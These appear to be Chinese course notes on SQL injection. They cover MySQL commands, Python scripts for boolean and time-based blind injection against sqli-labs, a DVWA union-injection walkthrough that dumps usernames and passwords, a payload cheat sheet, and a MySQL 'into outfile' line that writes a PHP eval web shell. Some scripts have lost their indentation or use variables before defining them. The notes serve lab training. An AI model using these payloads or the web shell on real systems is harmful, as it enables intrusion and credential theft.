网安课程总结二
0.mysql基础语句(这里的语句是通常使用于爆表宝库的)
(1)mysql本地连接
mysql -h localhost -uroot –proot
1
参数 说明
-h 表示数据库连接地址,连接本机可不填,直接mysql -uroot -p
-u 表示要登录的用户
-p 表示使用密码登录
默认账/密:root/root
注:登录mysql时,-p后面不能有空格加密码,但-p空格,后面不加值是可以的
(2)查看所有数据库
show databases;
(3)使用数据库,注意sql语句后面要加分号
use 数据库名;
(4)查看当前数据库中的表
show tables;
(5)查看表中字段结构,不爆出内容
describe 表名;
(6)查看表中所有字段及内容(前提已经use了数据库)
select * from 表名;
(7)向指定目录,如C:\WWW目录中写入peak.php一句话木马
select “<?php @eval($_REQUEST[peak]);?>” into outfile “C:\WWW\peak.php”;
(8)创建数据库
create database peak;
(9)删除数据库
drop database 库名;
(10)清空表
delete from 表名;
(11)修改root密码
mysqladmin -uroot -p password 新密码
之后输入原密码,即会修改成功
(12)查询当前数据库所在目录
select @@basedir;
(13)创建数据库
CREATE DATABASE [IF NOT EXISTS] <数据库名>
(14)创建表
CREATE TABLE table_name (column_name column_type);
(15)创建字段
INSERT INTO users (字段名) VALUES (“字段值");
(16)删除表中数据
DELETE FROM <表名> [WHERE 子句] [ORDER BY 子句] [LIMIT 子句]
1.什么是sql注入
注入在本质上,实际就是将数据转变为代码。
对于sql注入来说,就是将数据转换为数据库中的语句(sql注入中,要基于数据在数据库中执行)
输入环境:http环境下都是可以的
注入点:所有数据提交的点都有可能(例如post get HTTP头部信息,文件上传等等 也就是需要数据库来记录的数据 都是输入环境)
数据库执行语句如何包裹输入数据?
整形(无符号包裹)
字符串(有符号包裹)
输出环境:
有输出(就是输入有反馈)(联合查询)
没有出环境(输入无反馈)
(布尔型,延时型)
如果没有图形界面,那么能不能浏览网页?
我们可以通过python的requests模块获取网页内容
例如:(这个就是简单的请求一个页面的内容)
import requests
url="http://sqli/Less-5/?id=1"
response=requests.get(url)
print(response.text)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oXWf2L4z-1639397966689)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211210193309996.png)]
但这种内容由于是残缺的(也就是不够像浏览器发出的,所以我们得把他包装一下)
比如说,我们给这个请求加一个Headers
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1wej8UG7-1639397966692)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211212200452167.png)]
常用脚本
接下来是我自己写的一些sql注入常用的脚本以及语句
1.判断是否为整形sql注入(实际上用不上脚本)
import requests
header={
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Host": "sqli",
"Referer":"http://sqli/",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
}
url1="http://sqli/less-2/?id=1 and 1=1"
url2="http://sqli/less-2/?id=1 and 1=2"
response1=requests.get(url1,headers=header)
response2=requests.get(url2,headers=header)
if response1.text!=response2.text:
print("发现整形sql错误!")
2.字符型sql注入漏洞判断
import requests
header={
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Host": "sqli",
"Referer":"http://sqli/",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" }
def is_quotes_inj(url):
quotes= ["'",'"',")","')",'")']
for quote in quotes:
true_url=url+quote+"%20and 1=1"+"--+"
fasle_url=url+quote+"%20and 1=2"+"--+"
url_responese=requests.get(url,headers=header)
true_url_response = requests.get(true_url,headers=header)
fasle_url_response = requests.get(fasle_url,headers=header)
if true_url_response.text!=fasle_url_response.text and fasle_url_response.text!=url_responese.text and url_responese.text==true_url_response.text :
print("this is a {} type of sql injection!".format(quote))
t=True
else :
print(true_url)
if t:
return True
else:
return False url="http://sqli/Less-8/?id=1" is_quotes_inj(url)
3.爆表名,表长度:
import requests
header={
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Host": "sqli",
"Referer":"http://sqli/",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
}
url="http://sqli/Less-8/?id=1"
get_length_payload=" 'and length(database())={}--+" #攻击语句样式 {}可以做占位,后续填充
response=requests.get(exec_url,headers=header)
for x in range(1,50):#循环爆库长度
exec_url=url+get_length_payload.format(x)
payload_response=requests.get(exec_url,headers=header)
if payload_response.text==response.text:
print("该数据长度是{}".format(x))
break #要跳出循环 让x的值正确
chars="abcdefghijklmnopqrstuvwzxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+,?."#定义一个字符串集 里面包含所有可能有的元素
get_databasename_payload=" ' and ascii(substr(database(),{},1))={} --+" #进行ascii转换成数字 解决大小写的问题
result_dataname=""
for i in range(1,x+1):
for char in chars:
exec_url=url+get_databasename_payload.format(i,ord(char))
payload_response=requests.get(exec_url,headers=header)
response=requests.get(url,headers=header)
if payload_response.text==response.text:
result_dataname=result_dataname+char
print("该数据库名字为{}".format(result_dataname))
4.爆列名:
import requests
header={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0",
"Accept-Language":"zh-CN,zh;q=0.9",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
}
url="http://sqli/Less-8/?id=1"
get_length_payload="' and length((select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA='security' and table_name='users'))={}--+"
response=requests.get(url,headers=header)
for x in range(1,50):
exec_url=url+get_length_payload.format(x)
payload_response=requests.get(exec_url,headers=header)
if payload_response.text==response.text:
print("该数据长度是{}".format(x))
break
chars="abcdefghijklmnopqrstuvwzxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+,?."
get_data_payload="' and ord(substr((select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA='security' and table_name='users'),{},1))={} --+"
result_data=""
for i in range(1,x+1):
for char in chars:
exec_url=url+get_data_payload.format(i,ord(char))
payload_response=requests.get(exec_url,headers=header)
if payload_response.text==response.text:
result_data=result_data+char
break
print("该数据是{}".format(result_data))
5.爆数据:
import requests
import time
header={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0",
"Accept-Language":"zh-CN,zh;q=0.9",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
}
url="http://192.168.183.140/sqli-labs-master/Less-8/?id=1"
get_length_payload="' and length((select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA='security' and table_name='users'))={}--+"
# database()
# (select group_concat(table_name) from information_schema.tableS where TABLE_SCHEMA='dvwa' )
# (select group_concat(column_name) from information_schema.columnS where TABLE_SCHEMA=database() and table_name='users')
# (select group_concat(email_id) from emails)
get_length_payload="' and if(length((select group_concat(email_id) from emails) )={},sleep(2),1)--+"
response=requests.get(url,headers=header)
for x in range(1,200):
exec_url=url+get_length_payload.format(x)
start_time=time.time()
payload_response=requests.get(exec_url,headers=header)
end_time=time.time()
if (end_time-start_time)>2:
print("该数据长度是{}".format(x))
break
chars="abcdefghijklmnopqrstuvwzxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+,?."
get_data_payload="' and if(ord(substr((select group_concat(email_id) from emails) ,{},1))={},sleep(2),1) --+"
result_data=""
for i in range(1,x+1):
for char in chars:
exec_url=url+get_data_payload.format(i,ord(char))
start_time=time.time()
payload_response=requests.get(exec_url,headers=header)
end_time=time.time()
if (end_time-start_time)>2:
result_data=result_data+char
print("该数据是{}".format(result_data))
break
#该数据是emails,referers,uagents,users
# emails是id,email_id
DVMA靶机实战(LOW)
low:
1.首先判断漏洞的类型
(1)在搜索框中输入1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gtuN3nrG-1639397966693)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213191602042.png)]
发现存在回显(即不是盲注)
(2)输入1 and 1=1(嵌入sql语句)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KhirT4qR-1639397966693)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213191754918.png)]
再输入1 and 1=2
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4NJU4AE2-1639397966695)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213191946637.png)]
确定不是整形注入
(3)输入1’
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zTxEMAei-1639397966696)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213192755919.png)]
发现报错,开始检查是否是与单引号有关的字符型注入。
(4)输入1’ and ‘1’ ='1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RR9Hr37U-1639397966697)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213192902774.png)]
再输入1’ and ‘1’='2
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ouMchSfw-1639397966698)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213192930912.png)]
发现没有回显 即确认为单引号 字符型注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sjpXKbF0-1639397966698)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213194302719.png)]
通过对输入内容和页面实际接收的比较 表明我们要注意转码的问题
(5)爆字段数
我们输入 1’ and order by 4 --+(–+为注释符,把后面的语句给注释掉。当然这里使用 #也是可以的)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KoFdqMKd-1639397966699)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213194510264.png)]
我们发现4不行,采取二分法 输入2
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nMc2XqD2-1639397966700)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213194551131.png)]
则推测字段数为2
(6)爆数据库名字
我们输入 1’ union select 1,database() --+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AJI46c6J-1639397966700)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213195051834.png)]
我们发现数据库名字为dvwa
(7)爆表名
输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’ --+
(在Mysql数据库中 存在一个默认数据库information_schema.tables 里面存有其他数据库的信息)
这里可能会出现一个报错 即union类型混乱 解决方法可以查看如下博客
[]: https://blog.csdn.net/qq_44897193/article/details/106516838 “链接”
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-blWtkGUb-1639397966701)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213200005265.png)]
得到表名
(8)爆列名(这里以users为例子)
1’union select 1,group_concat(column_name) from information_schema.columns where table_name='users–+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RLKZ3IDr-1639397966702)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213200111483.png)]
(9)爆数据
1’union select group_concat(user),group_concat(password)from users
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n1nriwex-1639397966703)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213200157702.png)]
通过查询语句一个一个获得也是可以的
1’union select user,password from users limit 0,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q5uzsr2J-1639397966703)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213200242396.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fTtWaKX9-1639397966704)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213200312081.png)]
常用语句总结:
1.判断漏洞类型
1.数字型注入
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加单引号,URL:www.text.com/text.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
2.字符型注入
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加单引号:select * from table where name=’admin’’
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;
Mysql 有三种常用注释符:
– 注意,这种注释符后边有一个空格
# 通过#进行注释
/* */ 注释掉符号内的内容
因此,构造语句为:select * from table where name =’admin’ and 1=1—’ 可成功执行返回结果正确;
(3) 加and 1=2— 此时sql语句为:select * from table where name=’admin’ and 1=2 –’则会报错
如果满足以上三点,可以判断该url为字符型注入。
Sql注入分类可以按照参数类型分为数字型和字符型。还有一些常见的注入分类,例如:
(1)POST:注入字段位于POST数据中;
(2)Cookie:注入字段位于Cookie数据中;
(3)延时注入:根据数据库延时特性的注入
(4)搜索注入:注入字段在搜索的位置;
(5)base64注入:注入字符经过base64编码后注入;
(7)错误注入:基于数据库错误信息的响应注入;
2.获取数据
1.爆数据库名字
1’ union select 1,database()
(select后面的数字根据字段数变化)
2.爆表名字
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘数据库名称’
3.爆列名
1’union select 1,group_concat(column_name) from information_schema.columns where table_name=‘表名称’
4.爆数据
'union select group_concat(表名),group_concat(列名)from 表名